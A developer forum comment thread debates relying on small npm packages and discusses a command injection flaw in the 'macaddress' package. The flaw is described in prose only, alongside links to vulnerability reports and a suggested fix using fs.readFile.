Well, everything I've said here are grounded in personal experience working on FOSS projects. They're also grounded in trust of the maintainers. In 5 years of full-time programming as a job and a hobby, I have found that to work to my advantage. I can understand that this might not be everyone's experience. I also understand that different projects have different needs - some might simply be too sensitive to depend on external code if they can help it.
To answer your rhetorical questions: I would certainly depend on leftpad, as it allows me to free my mind to something more useful. I probably wouldn't depend about is-odd because I intuitively know how to make it work. That's pretty personal. The line is basically drawn at "do I need to think to figure this out." Yes, leftpad is trivial. But this is death by the thousand papercuts: When I program something, I'm solving a problem. Having to solve a million other problems at the same time - no matter how trivial - is going to take me away from what I'm supposed to actually doing. It breaks my flow. I don't like that.
> Copying/hand rolling some trivial code is often faster than deciding among a dozen libraries which do the same thing, reading their docs, their issue pages and open PRs, adding and integrating to my project.
I have found this to not be the case. In the JS land, depending on a library is beyond trivial. Especially for those "simple" libraries that simply export a function. Yes, I do need to read the docs, but there isn't a million ways to do leftpadding, nor is there a million ways to do UUID generation. Copy pasting code might require playing with requires, figuring out transitive dependencies, and just some manual work that take time away from actually thinking about the code I'm working on - again, breaking my flow, forcing me to context switch.
> I must keep the dependencies updated. I must read changelogs and hope nothing breaks.
Semver takes care of that for you. And yes, I trust maintainers to follow semver. Again, that generally works. I only had a single case of semver-breaking release in my life, and that was in the Rust land - docopt.rs 0.8.2. https://github.com/docopt/docopt.rs/issues/235. Debugging the issue took me at most an hour, reporting it to upstream took seconds, and the fixed version was released literally 10 minutes later. In the meantime, my install still worked due to the lockfile pinning the previous docopt version. I could easily continue working normally.
Breakage happen. I've found that breakage also happen internally. Sometimes I change my code and break my own invariants. Refactor and forget to fix an instance, which breaks the code in subtle ways. Bugs happen. I accept that.
> I have full control & understanding of the code; I can adjust & trim so it fits as much as possible. If it breaks, I can fix it directly.
This is where I totally disagree. Depending on a third-party package does not deprive me of the ability to fix code when it breaks. And in fact: it empowers me. Again, the major advantage of dependencies, in my view, comes from the community. And if it needs adjustment that could be beneficial to others, I can PR it. I can fork, and npm has tools to make it easy to inject a fork into the dependency tree, replacing all instances with my own. This lets me experiment with potential fixes with ease, as if it was my own code.
Sure, sometimes, the library might not do exactly what I want it to, exactly how I want it to. Maybe what I want to do is incompatible with said libraries. In those cases, rolling my own might make sense.
In the end, it comes down to this: I trust the community, and believe in taking and giving back. If that's a young point of view, then so be it. Maybe I'll learn the hard way that reality is not so forgiving, that my trust was misplaced.
To answer your rhetorical questions: I would certainly depend on leftpad, as it allows me to free my mind to something more useful. I probably wouldn't depend about is-odd because I intuitively know how to make it work. That's pretty personal. The line is basically drawn at "do I need to think to figure this out." Yes, leftpad is trivial. But this is death by the thousand papercuts: When I program something, I'm solving a problem. Having to solve a million other problems at the same time - no matter how trivial - is going to take me away from what I'm supposed to actually doing. It breaks my flow. I don't like that.
> Copying/hand rolling some trivial code is often faster than deciding among a dozen libraries which do the same thing, reading their docs, their issue pages and open PRs, adding and integrating to my project.
I have found this to not be the case. In the JS land, depending on a library is beyond trivial. Especially for those "simple" libraries that simply export a function. Yes, I do need to read the docs, but there isn't a million ways to do leftpadding, nor is there a million ways to do UUID generation. Copy pasting code might require playing with requires, figuring out transitive dependencies, and just some manual work that take time away from actually thinking about the code I'm working on - again, breaking my flow, forcing me to context switch.
> I must keep the dependencies updated. I must read changelogs and hope nothing breaks.
Semver takes care of that for you. And yes, I trust maintainers to follow semver. Again, that generally works. I only had a single case of semver-breaking release in my life, and that was in the Rust land - docopt.rs 0.8.2. https://github.com/docopt/docopt.rs/issues/235. Debugging the issue took me at most an hour, reporting it to upstream took seconds, and the fixed version was released literally 10 minutes later. In the meantime, my install still worked due to the lockfile pinning the previous docopt version. I could easily continue working normally.
Breakage happen. I've found that breakage also happen internally. Sometimes I change my code and break my own invariants. Refactor and forget to fix an instance, which breaks the code in subtle ways. Bugs happen. I accept that.
> I have full control & understanding of the code; I can adjust & trim so it fits as much as possible. If it breaks, I can fix it directly.
This is where I totally disagree. Depending on a third-party package does not deprive me of the ability to fix code when it breaks. And in fact: it empowers me. Again, the major advantage of dependencies, in my view, comes from the community. And if it needs adjustment that could be beneficial to others, I can PR it. I can fork, and npm has tools to make it easy to inject a fork into the dependency tree, replacing all instances with my own. This lets me experiment with potential fixes with ease, as if it was my own code.
Sure, sometimes, the library might not do exactly what I want it to, exactly how I want it to. Maybe what I want to do is incompatible with said libraries. In those cases, rolling my own might make sense.
In the end, it comes down to this: I trust the community, and believe in taking and giving back. If that's a young point of view, then so be it. Maybe I'll learn the hard way that reality is not so forgiving, that my trust was misplaced.
v1 and v2 UUIDs are derived from a MAC address by specification, the uniqueness of the v1 scheme in particular depends on it. Whether that's a good idea or not is another topic entirely, but if you want to conform to spec, an implementation needs to be able to read MAC addresses
Please see the comment I replied to.
npm was a mistake
NPM doesn't change anything here. the same issue would exist if you could only vendor dependencies.
Are you sure you understand the issue?
Are you sure you understand the issue?
Programming was a mistake.
Javascript was a mistake
Edit: Answer to “always_good”:
If a toddler shoots himself with a handgun, we can say that his mistake was pulling the trigger.
While technically correct, it’s not addressing the real issue, that is, how did the toddler get hold of the gun in the first place?
Edit: Answer to “always_good”:
If a toddler shoots himself with a handgun, we can say that his mistake was pulling the trigger.
While technically correct, it’s not addressing the real issue, that is, how did the toddler get hold of the gun in the first place?
This isn't a case of JS gun gone wrong. Someone's passing cat inside exec with an arbitrary path instead of using native open&read and path.join. That's a thing possible in almost every modern language.
Stop the nonsense. Seriously. Stop.
Stop the nonsense. Seriously. Stop.
Wrong again.
Passing user input into arbitrary shell commands is the mistake.
Good examples of amateur criticism that plagues our field, though.
Passing user input into arbitrary shell commands is the mistake.
Good examples of amateur criticism that plagues our field, though.
Having the ability to execute arbitrary commands isn't something that's unique to JavaScript.
The actual report, as that page contains nothing interesting: https://hackerone.com/reports/319467
According to the HackerOne report[1] there was no response from the maintainer and the last package update was 3 years ago. And yet the package is downloaded several million times a month (meaning it's definitely used in something -- I imagine looking at the reverse dependency tree would cause some concern).
This is something that bothers me a lot with most of these home-grown package ecosystems. In distributions we remove packages from their main repositories if old maintainers are no longer available and nobody is interested in becoming the new maintainer (we do this in openSUSE all the time). Does the Node (and Rust, Python, Ruby, ...) community have this sort of process for deciding that a project is no longer adequately maintained?
One of the benefits of having macro-packages is that it's always clear whether a package is being maintained -- if there isn't a release for a long time then it's probably no longer maintained. But with micro-packages there are thousands which are so trivial they require no updates (see left-pad, ansi-{green,blue,red,yellow,cyan,...}, and so on) that a very large number of projects depend on. Not to mention that distributions don't generally have projects with thousands of dependencies each -- so removing a dependency and everything that depends on it will not destroy the entire package ecosystem.
[1]: https://hackerone.com/reports/319467
This is something that bothers me a lot with most of these home-grown package ecosystems. In distributions we remove packages from their main repositories if old maintainers are no longer available and nobody is interested in becoming the new maintainer (we do this in openSUSE all the time). Does the Node (and Rust, Python, Ruby, ...) community have this sort of process for deciding that a project is no longer adequately maintained?
One of the benefits of having macro-packages is that it's always clear whether a package is being maintained -- if there isn't a release for a long time then it's probably no longer maintained. But with micro-packages there are thousands which are so trivial they require no updates (see left-pad, ansi-{green,blue,red,yellow,cyan,...}, and so on) that a very large number of projects depend on. Not to mention that distributions don't generally have projects with thousands of dependencies each -- so removing a dependency and everything that depends on it will not destroy the entire package ecosystem.
[1]: https://hackerone.com/reports/319467
That yet another NPM package proves to be pretty broken seems to be par for the course, but what especially shocks me is that on Hackerone the people working on this vulnerability can't reach the original maintainer and then say: "Doesn't look epic to me, also last publish was 3 years ago."
It doesn't look epic, yet it's a package that has over 1.2 million weekly downloads.
Also, fun fact, one of the dependent packages is react-input-select...WHY?
It doesn't look epic, yet it's a package that has over 1.2 million weekly downloads.
Also, fun fact, one of the dependent packages is react-input-select...WHY?
react-input-select has 640 (!) dependencies, all of which were added by the author in a commit named 'type fix'[1] which seems to have been ostensibly intended to fix a typo, and none of which seem to be required to actually use the library.
The only thing I can imagine is that the author somehow added their entire node_modules tree as dependencies. Maybe it was an ill-fated attempt at pinning?
[1]: https://github.com/rayescmata/react-input-select/commit/cd7b...
The only thing I can imagine is that the author somehow added their entire node_modules tree as dependencies. Maybe it was an ill-fated attempt at pinning?
[1]: https://github.com/rayescmata/react-input-select/commit/cd7b...
Checkout react-input-select's package.json... It's just full of unrelated random dependencies. Might be some way to advertise his node package?
[deleted]
[deleted]
[deleted]
love those little bobby tables
Another month, another ridiculous issue involving NPM that has no place being in software with millions of weekly downloads.
It really is never ending amateur hour in the NPM community.
It really is never ending amateur hour in the NPM community.
This has nothing to do with NPM. It is a specific package published on NPM. Also, stereotyping and insulting the NPM community is nonconstructive and out of place. Vulnerabilities in packages happen all the time in all kinds of package managers. The lesson here is to not blind-trust any package you come across that might make your job easier.
[deleted]
This one has been out for about a month:
https://snyk.io/vuln/npm:macaddress:20180511
Unfortunately, it's introduced into any Rails app that uses webpacker or any app using node-sass through a long dependency chain.
And once again demonstrates how the JS community is far too dependent on extremely trivial, unsupported, and unaudited libraries.
https://snyk.io/vuln/npm:macaddress:20180511
Unfortunately, it's introduced into any Rails app that uses webpacker or any app using node-sass through a long dependency chain.
And once again demonstrates how the JS community is far too dependent on extremely trivial, unsupported, and unaudited libraries.
That's some serious amateur hour and may even be a new contender for the Useless Use of Cat (and "exec(...)") Award.
Would be simpler and less error prone to just read the file via fs.readFile(...) after verifying that the iface parameter does not contain a directory separator.
[1]: https://github.com/scravy/node-macaddress/blob/dd079620d11c9...